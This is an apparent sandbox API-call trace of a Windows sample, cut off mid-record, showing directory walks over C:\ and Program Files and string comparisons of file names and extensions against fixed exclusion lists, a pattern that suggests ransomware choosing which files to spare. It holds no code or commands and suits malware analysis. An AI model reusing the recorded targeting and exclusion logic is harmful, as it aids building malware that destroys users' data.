CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS MEDIA PLAYER\\", cchLength=0x16 | out: lpsz="\\WINDOWS MEDIA PLAYER\\") returned 0x16 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\DVD MAKER\\", cchLength=0xb | out: lpsz="\\DVD MAKER\\") returned 0xb [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWSPOWERSHELL\\", cchLength=0x13 | out: lpsz="\\WINDOWSPOWERSHELL\\") returned 0x13 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\WINDOWS DEFENDER\\", cchLength=0x12 | out: lpsz="\\WINDOWS DEFENDER\\") returned 0x12 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\TOR BROWSER\\", cchLength=0xd | out: lpsz="\\TOR BROWSER\\") returned 0xd [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\ASPNET_CLIENT\\", cchLength=0xf | out: lpsz="\\ASPNET_CLIENT\\") returned 0xf [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\REFERENCE ASSEMBLIES\\", cchLength=0x16 | out: lpsz="\\REFERENCE ASSEMBLIES\\") returned 0x16 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT\\PROVISIONING\\", cchLength=0x18 | out: lpsz="\\MICROSOFT\\PROVISIONING\\") returned 0x18 [0029.627] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.627] CharUpperBuffW (in: lpsz="\\MICROSOFT SILVERLIGHT\\", cchLength=0x17 | out: lpsz="\\MICROSOFT SILVERLIGHT\\") returned 0x17 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\PROGRAMDATA\\MICROSOFT\\", cchLength=0x17 | out: lpsz="\\PROGRAMDATA\\MICROSOFT\\") returned 0x17 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\MICROSOFT\\CRYPTO\\", cchLength=0x12 | out: lpsz="\\MICROSOFT\\CRYPTO\\") returned 0x12 [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\WINDOWSAPPS\\", cchLength=0xd | out: lpsz="\\WINDOWSAPPS\\") returned 0xd [0029.628] CharUpperBuffW (in: lpsz="C:\\Documents and Settings\\", cchLength=0x1a | out: lpsz="C:\\DOCUMENTS AND SETTINGS\\") returned 0x1a [0029.628] CharUpperBuffW (in: lpsz="\\7-ZIP\\", cchLength=0x7 | out: lpsz="\\7-ZIP\\") returned 0x7 [0029.628] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0029.628] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0029.628] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4e9ad440, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.628] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="HIBERFIL.SYS", cchCount2=12) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="HIBERFIL.SYS", cchCount2=12) returned 2 [0029.629] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0029.629] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x563d4b80, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x563d4b80, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x4ecf3280, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x7ff7c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.629] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="SYS", cchCount2=3) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="SYS", cchCount2=3) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="PAGEFILE.SYS", cchCount2=12) returned 3 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="PAGEFILE.SYS", cchCount2=12) returned 1 [0029.630] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="PAGEFILE.SYS", cchCount2=12) returned 2 [0029.630] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd72e458, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd72e458, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1 [0029.630] FindNextFileW (in: hFindFile=0x70e078, lpFindFileData=0x18f8f4 | out: lpFindFileData=0x18f8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1 [0029.630] FindFirstFileW (in: lpFileName="C:\\Program Files\\*.*", lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70e3e8 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd72e458, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa3dd0810, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa3dd0810, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7545b2, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa10704b0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa10704b0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Common Files", cAlternateFileName="COMMON~1")) returned 1 [0029.631] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28ae853d, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28ae853d, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28ae853d, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BWNG", cchCount1=4, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="VBS", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RTF", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BMP", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="TMP", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RDP", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEK", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICO", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DLL", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BLF", cchCount1=3, lpString2="INI", cchCount2=3) returned 1 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="RBS", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="REGTRANS-MS", cchCount1=11, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SETTINGCONTENT-MS", cchCount1=17, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SEARCH-MS", cchCount1=9, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XML", cchCount1=3, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG1", cchCount1=4, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="LOG2", cchCount1=4, lpString2="INI", cchCount2=3) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT", cchCount1=10, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.POL", cchCount1=10, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG", cchCount1=14, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG1", cchCount1=15, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="NTUSER.DAT.LOG2", cchCount1=15, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ICONCACHE.DB", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="THUMBS.DB", cchCount1=9, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.631] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTSECT.BAK", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="BOOTMGR", cchCount1=7, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="DEFAULT.RDP", cchCount1=11, lpString2="DESKTOP.INI", cchCount2=11) returned 1 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="PAGEFILE.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="HIBERFIL.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="SWAPFILE.SYS", cchCount1=12, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WORDPAD.EXE", cchCount1=11, lpString2="DESKTOP.INI", cchCount2=11) returned 3 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xa104a350, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa104a350, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVD Maker", cAlternateFileName="DVDMAK~1")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xa06eacb0, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0xa06eacb0, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Internet Explorer", cAlternateFileName="INTERN~1")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70e3e8, lpFindFileData=0x18f604 | out: lpFindFileData=0x18f604*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Analysis Services", cAlternateFileName="MICROS~2")) returned 1 [0029.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\*.*", lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b630 [0029.632] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0029.632] FindNextFileW (in: hFindFile=0x70b630, lpFindFileData=0x18f314 | out: lpFindFileData=0x18f314*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 1 [0029.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\*.*", lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfa1d4a90, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfa1d4a90, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x70b5a8 [0029.632] FindNextFileW (in: hFindFile=0x70b5a8, lpFindFileData=0x18f024 | out: lpFindFileData=0x18f024*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa1d4a90, ftCreationTime.dwHighDateTime=0x1d301be, 